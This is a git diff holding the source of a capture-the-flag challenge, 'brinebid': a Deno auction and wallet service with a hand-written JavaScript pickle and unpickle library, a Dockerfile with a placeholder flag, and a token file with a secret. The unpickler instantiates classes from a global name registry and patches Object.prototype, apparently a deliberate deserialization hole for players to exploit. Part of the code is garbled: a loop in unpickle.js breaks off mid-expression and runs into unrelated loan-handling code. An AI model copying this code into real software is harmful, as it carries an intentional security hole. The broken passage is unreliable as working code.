+1,13 @@ +# Example deployment only +# Production server's environment may differ slightly +FROM denoland/deno:debian-1.33.3 + +WORKDIR /opt + +RUN echo 'flug{flag will be here and you know the drill by now...}' > /opt/flag.txt + +ADD main.bundle.js /opt/main.bundle.js + +USER deno +CMD ["deno", "run", "--allow-net", "--allow-read", "--allow-write", "/opt/main.bundle.js"] + diff --git a/brinebid/src/dist/images/1eb59cb8-e1f4-463f-b6a2-dbc819f50837_25x25.ansi b/brinebid/src/dist/images/1eb59cb8-e1f4-463f-b6a2-dbc819f50837_25x25.ansi new file mode 100644 index 0000000..26cf37a --- /dev/null +++ b/brinebid/src/dist/images/1eb59cb8-e1f4-463f-b6a2-dbc819f50837_25x25.ansi @@ -0,0 +1,12 @@ +▄▄▄▄▃▃▂â–▇▇▇▆▄▂┳▄▃▃▃▃▃▃▃▄▄ +▄▄▄▅▅▄▅▄▅▅▅▄▄▄▇▅▃▅▄▄▄▃â–â–‚â–‚ +▅▄▄▅▄▄▄▄▄▄▅▄▄▄▅▅▅▄▆▄▂▗▃▅┠+▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▎▌▅▅▂ +▄▄▄▄▄▄▄▄▄▄▄▄▄▄▃▄▄▄▄▄▎▋▆▅▅ +▅▄▄▅▄▄▄▃▃▂▂┷â”â”┯▅▄▄▄▄▎▋▃▎▄ +▆▋▃▂▂▄▇┉â–‚â–‡â”â–†â”â”â–‡â”â”▗▄▄▎▌▗▄▄ +▃▃▄┎â–„┃â–†â”â”â”â–ƒ┯▆▇▇▇▃▘▂▂▃▃▂▅▃ +┃â–‰│┃┃┃â–šâ–„â–„╸â–„â–ƒ╾▂▅▂▆▌▗▄▅▅▆▆▆ +┃â–‰│┃┃â–Œâ–â–…â–„â–„â–â•·â–â–ƒ╾â”â–„â–…â”´â–▇▆▆▅▄ +┃┃╽┃┃▌▄▆▂▃╼â”â–„â–„â––â–â–„â”▆▄▃â–â–…â–„â–… +┃â”–┓▆▄â”â–„â”▄▅▇▃▅▆▖▅▅▎▂▃▘â–▅▆▅ diff --git a/brinebid/src/dist/images/1eb59cb8-e1f4-463f-b6a2-dbc819f50837_30x30.ansi b/brinebid/src/dist/images/1eb59cb8-e1f4-463f-b6a2-dbc819f50837_30x30.ansi new file mode 100644 index 0000000..e057267 --- /dev/null +++ b/brinebid/src/dist/images/1eb59cb8-e1f4-463f-b6a2-dbc819f50837_30x30.ansi @@ -0,0 +1,15 @@ +▃▄▄▄▄▃▂▂▇▄▇▆▆▆▄▂╴▃▃▃▃▃▃▃▇▃▇▃▃▃ +▅▄▄▄▄▅▅▅▅▅▅▄▄▃▂▂â”â–…â–‚╶â–…â–„â–„â–„â–‚â–‚â–„┈╺â–ƒ +▄▄▃▄▄▄▄▅▄▅▄▄▄▄▅▄▄▄▄▃▆▃╸▅▅▖▗▃▃▃ +▅▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▆▄▂┮▂▄▄ +â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–…â–…â–…â–„â–„â–„â–„â–„â–…â–„â–„â–„â–Žâ–šâ–…â–†â”â–‚ +▃▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▃▄▄▄▃▄▄▄▎▌▇▋▅▄ +â–‚â–‚â”·â”·â”·â”â”┯┳â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–Žâ–â–„â–‹╽â–ƒ +▃▃▅▅▄▅▅▅▄▄▃▃â”â–†â”â”▅▅▄▄▃▃▃▃▎╎▂▄▅▗ +▂▂▃▃▂▄▃▄▄▄▄▃▂▂▅▅▅▅▅▅▋▅▅▅▎┛▃▇▅┡ +▖▄▗╻▖▗╻▇▅▄▃▄▄▅â”╼─â–…â”▗▂▂▂▂▃▄▂▂▃▄ +â–Œ┃┋┃│┋┃▂▃▃▖â”▃▋▌╴╼▆▗▇▆╲▃▄▄▅▅▇▅▆ +â–┃â–Œ┃│╸┃▆▃▃▘â–▆▅▅╸▅▃▂▎▂▂▆▆▅▅▄▃▂▃ +â–┃â–Œ┃╽â–Œ┃▅▆┱▃▄â”â–ƒ╼▄▅▇▇▆▄▃â–▆▄▃▅▃▂▂ +┃┃â–Œ┃â”–â–„â–Šâ–…â–‚â–ƒ╼â”â–…â”▆▆▆╸▄▂▄▆▋▌▆▄▃â–▆▅ +┞â–Žâ–Œâ–â”—â”▃▅â–▃▅▇╸â”▅▋▆▖▆▆▋▃▚▄▘╋▃▆▇▆ diff --git a/brinebid/src/dist/images/1eb59cb8-e1f4-463f-b6a2-dbc819f50837_40x40.ansi b/brinebid/src/dist/images/1eb59cb8-e1f4-463f-b6a2-dbc819f50837_40x40.ansi new file mode 100644 index 0000000..9fa20ec --- /dev/null +++ b/brinebid/src/dist/images/1eb59cb8-e1f4-463f-b6a2-dbc819f50837_40x40.ansi @@ -0,0 +1,20 @@ +▄▃▄▄▄▄▃▂▇▇▇▇▇▇▇▆▇▆▄▂â–▅▄▄▇▃▄▇▃▃▇▂▂▂▄▄▂▄▘▂ +▄▄▄▄▄▄▄▄▄▅▄▄▃▃▂▂â–▂▂▂▇▅▃â–â”â–…â–„â–„â–…â–„â–„â–„â–„â–…┈â–ƒâ–â•´ ┈ +▄▅▃▄▄▅▄▅▄▅▄▄▄▅▅▅▅▅▅▅▄▄▅▄▆▄▂â”â–…â–„â–…â–…â–…â–…â––┈▄▄▃▃ +▄▄▃▄▃▃▃▄▃▄▄▄▃▄▄▄▄▄▄▄▄▄▄▄▄▄▄▇▅▃â–▆▃▂▊▗▃▃▃▃ +▄▄▃▄▄▄▄▃▃▃▃▃▃▄▃▄▃▃▄▄▄▄▄▄▃▃▃▃▄▄▇▆┕â–▂▄▆▃▄▄ +▄▄▄▄▄▄▄▄▄▄▄▅▄▄▄▄▄▃▄▄▃▄▃▄▄▄▃▄▃▄▅▄▎▘â–â–…â–„â–„â–„â–„ +▃▄▄▄▄▄▄▄▄▄▅▄▄▄▄▄▄▄▄▄▄▄▄▅▄▄▄▄▄▄▄▄â–▖▚▂▃▄▅▅ +▄▄▄▃▄▄▃▃▃▃▄▅▄▃▅▄▄▄▄▄▄▄▃▃▃▄▄▄▄▃▄▄â–â–▌▅▉▎▃▅ +▅▄▄▄▄▄▅▄▄▄▄▄▄▄▄▄▄▃▃▃▄▄▄▄▄▄▄▄▄▄▄▄â–▌▋▃▉▎┃â•¿ +▂▃▂▂▂▂▂▇▆▆▆▆▅▅▄▄▃▃▂▂▂▂▂â–â”â–…â–„â–„â–„â–„â–„â–„â–▌▋▃▘â–▉▘ +â–…â–…â––â–‚â–‚â–‚â”▇▆▅▅▅▅┱▅▆▆▅▅▅▅▅▅▆▅▄▄╲▇▂▂▇â–â–Šâ–â–„â–â–Žâ–‚â–‚ +▂▂▌▄▄▃▅▂▃▃▃▃▃▃▂▃▃▃▂▂▂▂â–â–‚â–†â”â”â–Œâ–▅▇▉▎â–â–—â–…â–‰â–▆▉ +▂▃▃▗▗▗▗▗â”▎▇▄▂▂▂▃▃▃â–▃▃▃▃▄─▂▂▌▘â–▂▃▂▃▘▃▂â–â–…â–… +▋▉▎â–â–â–Œâ–â–â–â–â–â–‚â–‚â–ƒâ–▆▅▄▆â–â–…â”╼â”â”â–—â–„â”┯â–†┓â–Šâ–▂▂▂▄▃▃▂ +â–‹â–Šâ–Žâ–â–â–â–â–â–â”â”▆▆▇â–▇▆▆▄▃▅▄â”▂▃▌â–â–▌▗▆▇▅▆▅▃▃▂▃▃ +â–‹â–Šâ–Žâ–â–â–â–â–â–â–‚â”▃▄▅â–▂▃▅â”╸â–…â–†─â–▃▘▂▃▃╲▃▆▆▆▅▅▄▄▃▃ +▌▊▎â–â–â–â–â–▎▃▄▅â–▃▄▃▄▂╴▄â”▃▅▆▇â–â–„â–ƒâ”▂▆▅▃▂╾▃▂╹┯â–‡ +▌▊▎â–â–â–â–▎▎▃▅▃▅▆▂▃▅▃▃â”▃▃▃▂╶â–—â–…â–‚â”â–▆▄▃┘╌▇▆▄▃▆ +▌▊▎▎▘┻▇┮▂▂▄▅â”â–„â–†â–▃▅▆╼╼▃▆▃▂▄â”▖▃▚▄▚┶▆▅▆▄▃â–╾ +â–┸┹▌▖▘╺▃▄▅▆▂▄▆▃╼â–„â”▅▃▗▅â–â–„╾â–‚┕▘▃▄▆▅▘▃┢â–„â–šâ–—╱┯ diff --git a/brinebid/src/dist/images/1eb59cb8-e1f4-463f-b6a2-dbc819f50837_50x50.ansi b/brinebid/src/dist/images/1eb59cb8-e1f4-463f-b6a2-dbc819f50837_50x50.ansi new file mode 100644 index 0000000..006a1c4 --- /dev/null +++ b/brinebid/src/dist/images/1eb59cb8-e1f4-463f-b6a2-dbc819f50837_50x50.ansi @@ -0,0 +1,25 @@ +▃▃▃▃▃▃▃▃▂▇▆─▇▃▃▃▆▃▃▅▆▃▅▃â–╾â•·â–„â–‡â”â”â–‡â”â–‡â”â”▇▇▇┷▇â”▇▇▇â”â”·â”┛┠+▅▅▄▄▄▄▄▄▅▅▅▅▄▃▃▂▂▂▂▃▃▄▄▄▇▆▄▂┈â”▄▄▄▃▃▃▅▄▄▄▅▂▄▄▄▃▄▆▃▂ +▅▄▃▄▄▄▄▄▄▄▅▄▄▅▄▅▄▅▅▅▅▃▃▂▂▂â–â–▆▄▂â–╺▄▄▄▃▃▄▃▂▂▂▂▂┈┈â”»▃▃ +â–„â–„â–„â–„â–„â–„â–„â–…â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–…â–…â–…â–„â–„â–„â”â–…â–ƒâ–â”┳▅▅▅▅▃▄â–┈▃▂▃▃▄ +▃▃▃▃▄▃▃▃▃▃▃▃▃▃▄▃▄▅▅▄▅▄▅▅▅▄▃▃▅▅▅▄▃▄▄▆▄▂â–â–â–„â––â––â–▃▃▄▄▄▃ +▄▄▄▄▄▄▄▅▅▅▅▄▄▃▅▄▃▅▄▄▅▃▃▄▅▄▄▄▄▄▃▄▃▃▅▄▄▅▆▅╺▂▘▂▃▄â”▃▄▅ +▃▄▄▄▄▄▄▄▄▄▄▄▄▄▃▄▃▄▄▄▄▄▄▃▃▄▄▄▅▄▄▄▄▄▄▄▄▄▄▄â–▘▆▅▄▄▃▃▄▃ +▄▅▅▅▄▄▅▄▄▅▅▄▄▃▄▄▄▅▄▄▄▅▅▅▅▄▅▄▄▄▄▅▅▄▄▄▄▄▄▄â–â–„â–ƒâ–â–…â–…â–„â–„â––â– +â–„â–„â–„â–…â–„â–„â–…â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–„â–…â–„â–„â–„â–„â–„â–…â–ƒâ–â––â–Šâ–„â–…â–…â–†â”â–â–ƒ +▄▄▄▃▃▃▄▅▃▃▄▄▃▃▃▅▄▃▃▃▄▄▅▅▄▅▄▄▃▃▃▃▃▃▅▃▃▄▃▃â–â–┃▎▃▉▌┃â–…â–† +▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▃▄▄▄▄▄▃▄▄▄â–â–â–â–Žâ–„┤┋â–┃┃ +▅▅▅▅▅▅▅▅▅▄▄▃▃▃▃▂▂▂â”â”â–…â–…â–…â–…â–…â–„â–…â–…â–…â–…â–„â–…â–„â–…â–…â–„â–„â–„â–„â–ƒâ–â–Œâ–▎▃▃▌▘▌■+▂▂▂▅▄▄▄▄▅▅▅▅▅▅▃▄▄▃▃▄▃▃▂â”â”▆▆▅▅▅▅▄▄▃▂▃▃▃▃▃â–▋▌▎▄▄▗▄▘▗ +▇▆▅▎▄▄▅▄▄▄▄▄▄▄▄┰▄▄▄┉â–†â–▆▆▆▆▆â–▆▆▆▇▇▇▗▄▄▄▄▄â–▋▊▇▋▄▄▄▄▄ +▃▃▃▃▃▅▃â”▃▃▃▖▃▃▃▃▄▃▃▄▃▃▃▃▃▂▂▃▃▇┄â–„â–„â–„â–Œâ–╽â–…â––â–Šâ–â–▆▗▆▆┣▂▃▅ +â–â–š╆▂┻▗╋▖▖▗▗┃▆▇┷▇â–â–„â–â–‚â–‚â–▃▃▂▂┻â–▂▃▃▄▅â–╸┃╻▂â–â–‚â–â–‚â–‚â–â–â–â–â–…â–„â–‰ +▉▌▎▊▎▌▎▌▊▎▌▎▆▄â”â–‡┑─â”â”▃▃▗▄▆▇┷▆▂▃▅▅▆â”â”▆▆╲▆▆▅▌▄▆▆▆â–â–▆▉ +â–Šâ–▎▊▎▌▎▌▊▎▌┇â–â”┻▂▃▖▅â”â–â–˜╽â–Žâ–Žâ–„â”▄▆▃▃▄▎▄▆▌▂▃▃▄▄▅▅▆▆▅▃▅▆▆ +â–Šâ–▎▋▎▌▊▌▋▎â–â–â”â–Šâ–▌▂▋┻▆â”▃▄▅▅▃▃▆▅▅▆▉▎▂▊â–â–▄▄▃▃▃▂â”┱▃▄▂▂■+â–Šâ–â–▋▎▌▊â–â–‹â–â–â–â–â–„â–„â–„â–…â–…â–‚â–‚â–ƒ╼â”▄▆▇▃─╸▂▃▅▂▃▄▄▂â–▃▇┳▇▆▆▅▅▄▄▃▃ +â–Šâ–▎▋▎▌▊â–â–‹â–â–â–▂▆▄â”▂▅▆▂▃┬╼â–‚â–—â–…â”▃▅▆▇▆▄▃â–â–â–▇▆▄╾â”─▃▂▖╹┬▆▆ +â–‹â–â–â–Œâ–▌▊â–â–‹â–‰â–â–—╼â–‚â–ƒ─â”â–…â–†â–▂▘▇▅▂╺â–„┺â”┓▃▆▂▂â–▆▆▅▃▂▌▎▄▇▅▄╾▆▄▃ +â–‹â–▊▌▉▌▊┗â–▄▆▅▆▇â–▂▄▅▇▄▅▆â–▂▘▂▅▃â”▃▅▃â–▆▄▄â•â–‹â”»┕▆▆▅▃┷▂╸┃▆▇ +▋▎▊▌▄▃▅▂▂▄▂▄▆▂▄▅▆▇▂▄▅▂▅▃▅▃▅▂▃▅▄▂▃▅▎â–â–▅▆▗▖▎▃▂▄▅▆▄▃─ +â–‹â–‚â–„╲▌▖▌â–▃▄▄▅▆▄▃▄▆▂╼▃▅▃▅▂▂▄▎▌▇▆â”▃▃▃▘▃▄▎▆▆â–▂▂▚▆▂▋▘▘■diff --git a/brinebid/src/dist/images/1eb59cb8-e1f4-463f-b6a2-dbc819f50837_raw.png b/brinebid/src/dist/images/1eb59cb8-e1f4-463f-b6a2-dbc819f50837_raw.png new file mode 100644 index 0000000..116e173 Binary files /dev/null and b/brinebid/src/dist/images/1eb59cb8-e1f4-463f-b6a2-dbc819f50837_raw.png differ diff --git a/brinebid/src/dist/properties/1eb59cb8-e1f4-463f-b6a2-dbc819f50837.token b/brinebid/src/dist/properties/1eb59cb8-e1f4-463f-b6a2-dbc819f50837.token new file mode 100644 index 0000000..86881b7 --- /dev/null +++ b/brinebid/src/dist/properties/1eb59cb8-e1f4-463f-b6a2-dbc819f50837.token @@ -0,0 +1,8 @@ +{ + "uuid": "1eb59cb8-e1f4-463f-b6a2-dbc819f50837", + "name": "Las Vegas Strip luxury studio with a view", + "sell_price": 2022000, + "floor_price": 1729727, + "secret": "00962c263fa3addf5a0638cce69d2d3e", + "description": "Experience pure luxury with this stunning studio located on the famous Las Vegas Strip. With spectacular city and mountain views, this property boasts modern amenities and high-end finishes throughout. Ideal for those who enjoy the excitement and energy of Las Vegas, this studio offers the ultimate in comfort and sophistication." +} diff --git a/brinebid/src/dist/properties/index.json b/brinebid/src/dist/properties/index.json new file mode 100644 index 0000000..61c2f16 --- /dev/null +++ b/brinebid/src/dist/properties/index.json @@ -0,0 +1 @@ +["1eb59cb8-e1f4-463f-b6a2-dbc819f50837.token"] diff --git a/brinebid/src/dist/run.sh b/brinebid/src/dist/run.sh new file mode 100755 index 0000000..994e4e6 --- /dev/null +++ b/brinebid/src/dist/run.sh @@ -0,0 +1,14 @@ +#!/bin/bash +docker build -t dcq2023-brine-bid . + +mkdir -p wallet +chmod 777 wallet + +echo "Running on ws://0.0.0.0:8080" +docker run --rm \ + -p 8080:8080 \ + --name brine-bid \ + -v $(pwd)/wallet:/wallet \ + -v $(pwd)/properties:/properties/auction:ro \ + -d dcq2023-brine-bid + diff --git a/brinebid/src/lib/buffer-polyfill.js b/brinebid/src/lib/buffer-polyfill.js new file mode 100644 index 0000000..8c0b903 --- /dev/null +++ b/brinebid/src/lib/buffer-polyfill.js @@ -0,0 +1,83 @@ +import { decode as base64Decode, encode as base64Encode } from 'https://deno.land/std@0.166.0/encoding/base64.ts' + +// Polyfill a small subset of node buffer functionality +export function Buffer(ab) { + console.log('ab',ab); + this.buffer = new DataView(ab); + this.length = this.buffer.byteLength; +} +Buffer.prototype.readUInt8 = function(offset) { + return this.buffer.getUint8(offset); +} +Buffer.prototype.readUInt16LE = function(offset) { + return this.buffer.getUint16(offset, true); +} +Buffer.prototype.readUInt16BE = function(offset) { + return this.buffer.getUint16(offset, false); +} +Buffer.prototype.readUInt32LE = function(offset) { + return this.buffer.getUint32(offset, true); +} +Buffer.prototype.readInt32LE = function(offset) { + return this.buffer.getInt32(offset, true); +} +Buffer.prototype.readUInt32BE = function(offset) { + return this.buffer.getUint32(offset, false); +} +Buffer.prototype.writeUInt32LE = function(n, offset) { + this.buffer.setUint32(offset, n, true); +} +Buffer.prototype.slice = function(start, end) { + return new Buffer(this.buffer.buffer.slice(start, end)); +} +Buffer.prototype.toString = function(enc) { + console.log("toString", this.buffer); + if (!enc) enc = 'utf8'; + if (enc == 'utf8') { + return new TextDecoder().decode(this.buffer.buffer); + } + if (enc == 'base64') { + return base64Encode(this.buffer.buffer); + } + throw new Error('Unsupported encoding'); +} +Buffer.prototype.arrayBuffer = function() { + return this.buffer.buffer; +} +Buffer.alloc = function(n) { + return new Buffer(new ArrayBuffer(n)); +} +Buffer.from = function(s, enc) { + if (s instanceof Buffer) { + return new Buffer(s.buffer.buffer.slice(0)); + } + if (s instanceof Array) { + return new Buffer(new Uint8Array(s).buffer); + } + + s = s.toString(); + if (enc == 'base64') { + try { + var a = base64Decode(s); + var b = new Buffer(a.buffer); + return b + } catch (e) { + console.error(e); + enc = 'ascii'; + } + } + var b = new Uint8Array(s.length); + for (var i = 0; i < s.length; i++) { + b[i] = s.charCodeAt(i); + } + return new Buffer(b.buffer); +} +Buffer.concat = function(buffers) { + var out = new Uint8Array(buffers.reduce((acc, b) => acc + b.length, 0)); + var offset = 0; + for (var i = 0; i < buffers.length; i++) { + out.set(new Uint8Array(buffers[i].buffer.buffer), offset); + offset += buffers[i].length; + } + return new Buffer(out.buffer); +} diff --git a/brinebid/src/lib/pickle/memory.js b/brinebid/src/lib/pickle/memory.js new file mode 100644 index 0000000..d278754 --- /dev/null +++ b/brinebid/src/lib/pickle/memory.js @@ -0,0 +1,21 @@ +import { super_constructor } from "../util.js"; + +export function Memory(state) { + if (typeof(state) !== 'object') { + state = {}; + } + var _this = this; + try { + _this = super_constructor(this, Memory, state); + } catch (e) { + // Prod kept getting weird errors sometimes + console.error(); + _this.assign(state); + } + return _this; +} +Memory.prototype.valueOf = function() { + return Object.assign({}, this); +} +// Inherit from Object +Object.setPrototypeOf(Memory.prototype, Object); \ No newline at end of file diff --git a/brinebid/src/lib/pickle/objects.js b/brinebid/src/lib/pickle/objects.js new file mode 100644 index 0000000..14d3c9b --- /dev/null +++ b/brinebid/src/lib/pickle/objects.js @@ -0,0 +1,44 @@ +import { super_constructor } from "../util.js"; +import { Memory } from "./memory.js"; +import { PICKLE_GLOBAL_SCOPE } from "./pickle-ops.js"; + +export function List(args) /* extends Array */ { + var _this = this; + _this = super_constructor(this, List, ...args); + return _this; +} +// Inherit from class Array +Object.setPrototypeOf(List.prototype, Array.prototype); +PICKLE_GLOBAL_SCOPE['builtins.list'] = List; + + + +export function PythonObject(args) { + var _this = this; + _this = super_constructor(this, PythonObject, {}); + return _this; +} +// Inherit from class Memory +Object.setPrototypeOf(PythonObject.prototype, Memory.prototype); +PICKLE_GLOBAL_SCOPE['builtins.Object'] = PythonObject; + + +export function Dict(args) /* extends PythonObject */ { + var _this = this; + _this = super_constructor(this, Dict, args); + return _this; +} +// Inherit from class PythonObject +Object.setPrototypeOf(Dict.prototype, PythonObject.prototype); +PICKLE_GLOBAL_SCOPE['builtins.dict'] = Dict; + + + +export function Exception(args) /* extends PythonObject */ { + var _this = this; + _this = super_constructor(this, Exception, args); + return _this; +} +// Inherit from class PythonObject +Object.setPrototypeOf(Exception.prototype, PythonObject.prototype); +PICKLE_GLOBAL_SCOPE['builtins.Exception'] = Exception; \ No newline at end of file diff --git a/brinebid/src/lib/pickle/pickle-ops.js b/brinebid/src/lib/pickle/pickle-ops.js new file mode 100644 index 0000000..a241739 --- /dev/null +++ b/brinebid/src/lib/pickle/pickle-ops.js @@ -0,0 +1,67 @@ +import { Buffer } from '../buffer-polyfill.js'; +export var PICKLE_OP_NAMES = { + MARK: '(', + STOP: '.', + POP: '0', + POP_MARK: '1', + DUP: '2', + FLOAT: 'F', + INT: 'I', + BININT: 'J', + BININT1: 'K', + LONG: 'L', + BININT2: 'M', + NONE: 'N', + PERSID: 'P', + BINPERSID: 'Q', + REDUCE: 'R', + STRING: 'S', + BINSTRING: 'T', + SHORT_BINSTRING: 'U', + UNICODE: 'V', + BINUNICODE: 'X', + APPEND: 'a', + BUILD: 'b', + GLOBAL: 'c', + DICT: 'd', + EMPTY_DICT: '}', + APPENDS: 'e', + GET: 'g', + BINGET: 'h', + INST: 'i', + LONG_BINGET: 'j', + LIST: 'l', + EMPTY_LIST: ']', + OBJ: 'o', + PUT: 'p', + BINPUT: 'q', + LONG_BINPUT: 'r', + SETITEM: 's', + TUPLE: 't', + EMPTY_TUPLE: ')', + SETITEMS: 'u', + PROTO: '\x80', + NEWOBJ: '\x81', + TUPLE1: '\x85', + TUPLE2: '\x86', + TUPLE3: '\x87', + NEWTRUE: '\x88', + NEWFALSE: '\x89', + LONG1: '\x8a', + LONG4: '\x8b', + BINBYTES: 'B', + SHORT_BINBYTES: 'C', +}; + +export var PICKLE_OP_VALUES = {}; +for (var k in PICKLE_OP_NAMES) { + PICKLE_OP_VALUES[PICKLE_OP_NAMES[k]] = k; +} + +export var PICKLE_OP_BYTES = {}; +for (var k in PICKLE_OP_NAMES) { + let v = PICKLE_OP_NAMES[k].charCodeAt(0); + PICKLE_OP_BYTES[k] = Buffer.from([v]); +} + +export var PICKLE_GLOBAL_SCOPE = {}; \ No newline at end of file diff --git a/brinebid/src/lib/pickle/pickle.js b/brinebid/src/lib/pickle/pickle.js new file mode 100644 index 0000000..81e7575 --- /dev/null +++ b/brinebid/src/lib/pickle/pickle.js @@ -0,0 +1,136 @@ +import { Buffer } from "../buffer-polyfill.js"; +import { super_constructor } from "../util.js"; +import { PICKLE_GLOBAL_SCOPE, PICKLE_OP_BYTES } from "./pickle-ops.js"; +import { PythonObject } from "./objects.js"; + +export function Pickler(obj) /* extends PythonObject */ { + var _this = this; + _this = super_constructor(this, Pickler); + _this.obj = obj; + _this._pickle_impl(); + return _this; +} +// Inherit from class PythonObject +Object.setPrototypeOf(Pickler.prototype, PythonObject.prototype); +PICKLE_GLOBAL_SCOPE['pickle.Pickler'] = Pickler; + +Pickler.prototype._pickle_impl = function() { + var buf = Buffer.concat([ + O.PROTO, + Buffer.from([3]), + Pickler._pickle_value(this.obj), + O.STOP + ]); + this.result = buf.toString('base64'); + console.log("pickled", this.result); +} + +Pickler.pickle = function(obj) { + console.log("pickling", obj); + return new Pickler(obj).result; +} + +var O = PICKLE_OP_BYTES; + +function little_endian_uint32(n) { + var b = Buffer.alloc(4); + b.writeUInt32LE(n, 0); + return b; +} + + +Pickler._pickle_value = function(v) { + if (v === null || v === undefined) { + return O.NONE; + } + if (typeof(v) == 'function') { + return Buffer.from([]); + } + if (typeof(v) == 'number') { + return Buffer.concat([ + O.LONG1, + Buffer.from([4]), + little_endian_uint32(v) + ]); + } + if (typeof(v) == 'string') { + if (v.length < 256) { + return Buffer.concat([ + O.SHORT_BINSTRING, + Buffer.from([v.length]), + Buffer.from(v, 'utf8') + ]) + } + return Buffer.concat([ + O.BINSTRING, + little_endian_uint32(v.length), + Buffer.from(v, 'utf8') + ]) + } + return v.__pickle__(); +} + +Object.prototype.__pickle__ = function() { + if (Array.isArray(this)) { + return Array.prototype.__pickle__.call(this); + } + var out = [O.MARK]; + for (var k in this) { + if (!this.hasOwnProperty(k)) { + continue; + } + let kp = Pickler._pickle_value(k); + if (kp.length == 0) { + continue; + } + + var v = this[k]; + var vp = Pickler._pickle_value(v); + if (vp.length == 0) { + continue; + } + + out.push(kp); + out.push(vp); + } + out.push(O.DICT); + return Buffer.concat(out); +} + +Array.prototype.__pickle__ = function() { + var out = [O.MARK]; + for (var i = 0; i < this.length; i++) { + var v = this[i]; + out.push(Pickler._pickle_value(v)); + } + out.push(O.LIST); + return Buffer.concat(out); +} + +// Make using global class +PythonObject.prototype.__pickle__ = function() { + var out = [O.GLOBAL]; + for (var k in PICKLE_GLOBAL_SCOPE) { + var v = PICKLE_GLOBAL_SCOPE[k]; + if (v === this.constructor) { + var namespace = k.split('.')[0]; + var name = k.split('.')[1]; + out.push(Buffer.from(namespace+'\n', 'utf8')); + out.push(Buffer.from(name+'\n', 'utf8')); + break; + } + } + if (out.length == 1) { + // Fallback to object pickle + return Object.prototype.__pickle__.call(this, ); + } + + // Create empty instance + out.push(O.EMPTY_TUPLE, O.NEWOBJ); + + let props = Object.prototype.__pickle__.call(this, ); + out.push(props); + out.push(O.BUILD); + + return Buffer.concat(out); +} \ No newline at end of file diff --git a/brinebid/src/lib/pickle/unpickle.js b/brinebid/src/lib/pickle/unpickle.js new file mode 100644 index 0000000..38b5b3a --- /dev/null +++ b/brinebid/src/lib/pickle/unpickle.js @@ -0,0 +1,495 @@ +import { super_constructor } from "../util.js"; +import { Buffer } from "../buffer-polyfill.js"; +import { Memory } from "./memory.js"; +import { PICKLE_OP_NAMES, PICKLE_OP_VALUES, PICKLE_GLOBAL_SCOPE } from "./pickle-ops.js"; + +export function Unpickler(p, enc) /* extends Memory */ { + var _this = this; + _this = super_constructor(this, Unpickler, p); + _this.pickle = p; + _this.ind = 0; + _this.buffer = Buffer.from(p, enc); + _this.stack = []; + _this.mark_stack = []; + _this.result = _this._unpickle_impl() + return _this; +} +// Inherit from class PythonObject +Object.setPrototypeOf(Unpickler.prototype, Memory.prototype); +PICKLE_GLOBAL_SCOPE['pickle.Unpickler'] = Unpickler; + +PICKLE_GLOBAL_SCOPE['datetime.datetime'] = function(bin, tz) { + var tmp = new Buffer(bin.buffer, 'binary'); + var year = tmp.readUInt16BE(0); + var month = tmp.readUInt8(2) - 1; + var day = tmp.readUInt8(3); + var hour = tmp.readUInt8(4); + var minute = tmp.readUInt8(5); + var second = tmp.readUInt8(6); + var microsecond = tmp.readUInt32BE(6) & 0xffffff; + if (tz == 'UTC') { + return new Date(Date.UTC(year, month, day, hour, minute, second, microsecond / 1000)); + } else { + return new Date(year, month, day, hour, minute, second, microsecond / 1000); + } +}; + +Unpickler.unpickle = function(s, enc) { + return new Unpickler(s, enc).result; +} + + +Object.assign(Unpickler.prototype, { + _pop() { + var res = this.stack.pop(); + try { + console.log("pop", res.toString().split('\n')[0]); + } catch(e){ + console.log("pop", res); + } + + for (var i=this.mark_stack.length - 1; i>=0; i--) { + if (this.mark_stack[i] <= this.stack.length) { + // Remove any marks that are no longer valid + this.mark_stack.splice(i + 1); + break; + } + } + this._dump_stack(); + + return res; + }, + _peek() { + var res = this.stack[this.stack.length - 1]; + try { + console.log("peek", res.toString().split('\n')[0]); + } catch(e){ + console.log("peek", res); + } + return res; + }, + _dump_stack() { + let s = this.stack.slice(0).reverse() + console.log(" ,------------------------------------"); + for (let i= 0; i= 0 ? " <--- MARK" : ""); + } catch(e){ console.log(" | ")} + } + console.log(" '------------------------------------"); + }, + _push(v) { + try { + console.log("push", v.toString().split('\n')[0]); + } catch(e){ + console.log("push", v); + } + + this.stack.push(v); + this._dump_stack(); + }, + _pushAll(a) { + for (var i=0; i= loans.length) { + PayLoanResponse([false, "Invalid loan index"]).send(ws); + return; + } + + let loan = loans[indx]; + if (loan.with_intrest > balance.sanddollars) { + PayLoanResponse([false, "Insufficient funds"]).send(ws); + return; + } + + balance.sanddollars -= loan.with_intrest; + if (!await update_balance(balance)) { + PayLoanResponse([false, "Failed to update balance"]).send(ws); + return; + } + + loans.splice(indx, 1); + if (!await set_loans(loans)) { + PayLoanResponse([false, "Failed to update loans"]).send(ws); + return; + } + + PayLoanResponse([true, "Loan paid"]).send(ws); +} + +export function PayLoanResponse(args) /* extends Response */ { + var _this = super_constructor(this, PayLoanResponse, args); + _this.success = args[0]; + _this.message = args[1]; + return _this; +} +// Inherit from Response +PayLoanResponse.prototype = Object.create(Response.prototype); +PICKLE_GLOBAL_SCOPE['__main__.PayLoanResponse'] = PayLoanResponse; + diff --git a/brinebid/src/main.ts b/brinebid/src/main.ts new file mode 100644 index 0000000..cf4c402 --- /dev/null +++ b/brinebid/src/main.ts @@ -0,0 +1,78 @@ +import { super_constructor } from "./lib/util.js"; +import { WebSocketClient, WebSocketServer } from "https://deno.land/x/websocket@v0.1.4/mod.ts"; +import { Exception } from "./lib/pickle/objects.js"; +import { PICKLE_GLOBAL_SCOPE } from "./lib/pickle/pickle-ops.js"; +import { HOST, PORT } from "./config.ts"; +import { auction_init } from "./auction.ts"; +import { file_exists } from "./lib/util.js"; +import { PickleWebsocket, Request, Response } from "./messages.ts"; +import { ROOT } from "./config.ts"; + +auction_init(); + +export function ResetRequest(args) /* extends Request */ { + var _this = super_constructor(this, ResetRequest, args); + return _this; 